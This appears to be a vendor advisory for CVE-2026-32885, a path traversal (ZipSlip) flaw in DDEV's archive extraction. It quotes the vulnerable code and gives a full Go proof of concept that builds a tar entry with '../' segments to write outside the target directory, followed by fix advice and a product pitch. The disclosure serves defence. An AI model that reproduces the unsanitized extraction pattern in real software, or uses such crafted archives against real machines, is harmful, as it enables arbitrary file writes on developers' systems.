Summary
The DDEV local dev tool has unsanitized extraction in both Untar() and Unzip() functions in pkg/archive/archive.go. This flaw allows users to download and extract archives from remote sources without path validation.
Vulnerable Code
pkg/archive/archive.go:235 (Untar):
fullPath := filepath.Join(dest, file.Name) // NO SANITIZATION
pkg/archive/archive.go:342 (Unzip):
fullPath := filepath.Join(dest, file.Name) // NO SANITIZATION
Both functions create directories via os.MkdirAll and files via os.Create using the unsanitized path.
Proof of Concept
package main
// PoC: ddev/ddev CWE-22, ZipSlip in tar archive extraction
// Replicates the exact pattern from pkg/archive/archive.go:235 (Untar)
// and pkg/archive/archive.go:342 (Unzip), both use filepath.Join(dest, name)
// without verifying the result stays under the destination directory.
import (
"archive/tar"
"bytes"
"fmt"
"io"
"os"
"path/filepath"
)
// Vulnerable extraction, mirrors pkg/archive/archive.go:235
func untarVulnerable(dst string, r io.Reader) error {
tr := tar.NewReader(r)
for {
header, err := tr.Next()
if err == io.EOF {
break
}
if err != nil {
return err
}
// VULNERABLE: identical to archive.go:235
// fullPath := filepath.Join(dest, file.Name)
fullPath := filepath.Join(dst, header.Name)
switch header.Typeflag {
case tar.TypeDir:
os.MkdirAll(fullPath, 0755)
case tar.TypeReg:
os.MkdirAll(filepath.Dir(fullPath), 0755)
f, _ := os.Create(fullPath)
io.Copy(f, tr)
f.Close()
}
}
return nil
}
func main() {
// Build malicious tar with traversal entry
var buf bytes.Buffer
tw := tar.NewWriter(&buf)
payload := []byte("# PoC: ddev/ddev CWE-22 path traversal\n")
tw.WriteHeader(&tar.Header{
Name: "../../../../../../tmp/ddev_cwe22_poc",
Mode: 0644,
Size: int64(len(payload)),
})
tw.Write(payload)
tw.Close()
// Extract into temp directory
extractDir, _ := os.MkdirTemp("", "ddev-poc-*")
defer os.RemoveAll(extractDir)
untarVulnerable(extractDir, &buf)
// Verify escape
escaped := "/tmp/ddev_cwe22_poc"
if data, err := os.ReadFile(escaped); err == nil {
fmt.Printf("[!!!] VULNERABLE, file written to: %s\n", escaped)
fmt.Printf("[!!!] Content: %s", string(data))
os.Remove(escaped)
} else {
fmt.Println("[OK] Not vulnerable")
}
}
Output:
[!!!] VULNERABLE, file written to: /tmp/ddev_cwe22_poc
[!!!] Content: # PoC: ddev/ddev CWE-22 path traversal
Note: Both Untar (archive.go:235) and Unzip (archive.go:342) use the same filepath.Join(dest, file.Name) pattern without containment checks. This PoC demonstrates the tar path; the zip path is analogously exploitable.
Credit
Kai Aizen (SnailSploit), Adversarial AI & Security Research
Impact
Local development tool that downloads and extracts archives from remote sources (add-ons, updates). Malicious archive → arbitrary file write on developer machine.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-32885 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.25.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Add path containment check in both Untar and Unzip functions.
Frequently Asked Questions
- What is CVE-2026-32885? CVE-2026-32885 is a medium-severity path traversal vulnerability in github.com/ddev/ddev (go), affecting versions < 1.25.2. It is fixed in 1.25.2. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-32885? CVE-2026-32885 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/ddev/ddev are affected by CVE-2026-32885? github.com/ddev/ddev (go) versions < 1.25.2 is affected.
- Is there a fix for CVE-2026-32885? Yes. CVE-2026-32885 is fixed in 1.25.2. Upgrade to this version or later.
- Is CVE-2026-32885 exploitable, and should I be worried? Whether CVE-2026-32885 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-32885 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-32885? Upgrade
github.com/ddev/ddevto 1.25.2 or later.